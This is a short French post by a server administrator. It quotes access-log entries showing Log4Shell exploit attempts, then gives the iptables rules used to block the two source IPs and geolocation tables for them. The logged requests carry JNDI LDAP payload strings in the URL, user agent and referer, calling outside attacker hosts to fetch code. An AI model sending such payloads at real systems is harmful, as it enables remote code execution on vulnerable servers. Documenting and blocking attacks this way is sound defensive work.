Petite recherche dans les logs :
170.210.45.163 - - [16/Dec/2021:06:19:46 +0100] "GET /${jndi:ldap://185.224.139.151:1389/Exploit} HTTP/1.1" 302 5113 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
170.210.45.163 - - [16/Dec/2021:06:19:46 +0100] "GET / HTTP/1.1" 302 5113 "-" "${jndi:ldap://185.224.139.151:1389/Exploit}"
139.59.70.139 - - [16/Dec/2021:12:36:32 +0100] "GET / HTTP/1.0" 301 558 "${jndi:ldap://159.223.5.30:1389/a}" "nimaps/1.1 ${jndi:ldap://159.223.5.30:1389/a}"
J’ai donc bloqué les IPs :
# iptables -A INPUT -s 170.210.45.163 -j DROP # iptables -A INPUT -s 139.59.70.139 -j DROP # /usr/sbin/iptables-save > /etc/iptables/rules.v4
Misère.
| IP Address | Country | Region | City |
|---|---|---|---|
| 170.210.45.163 | Argentina  |
Ciudad Autonoma de Buenos Aires | Buenos Aires |
| ISP | Organization | Latitude | Longitude |
| Red de Interconexion Universitaria | Not Available | -34.6132 | -58.3772 |
| IP Address | Country | Region | City |
|---|---|---|---|
| 139.59.70.139 | India  |
Karnataka | Bengaluru |
| ISP | Organization | Latitude | Longitude |
| DigitalOcean LLC | Not Available | 12.9762 | 77.6033 |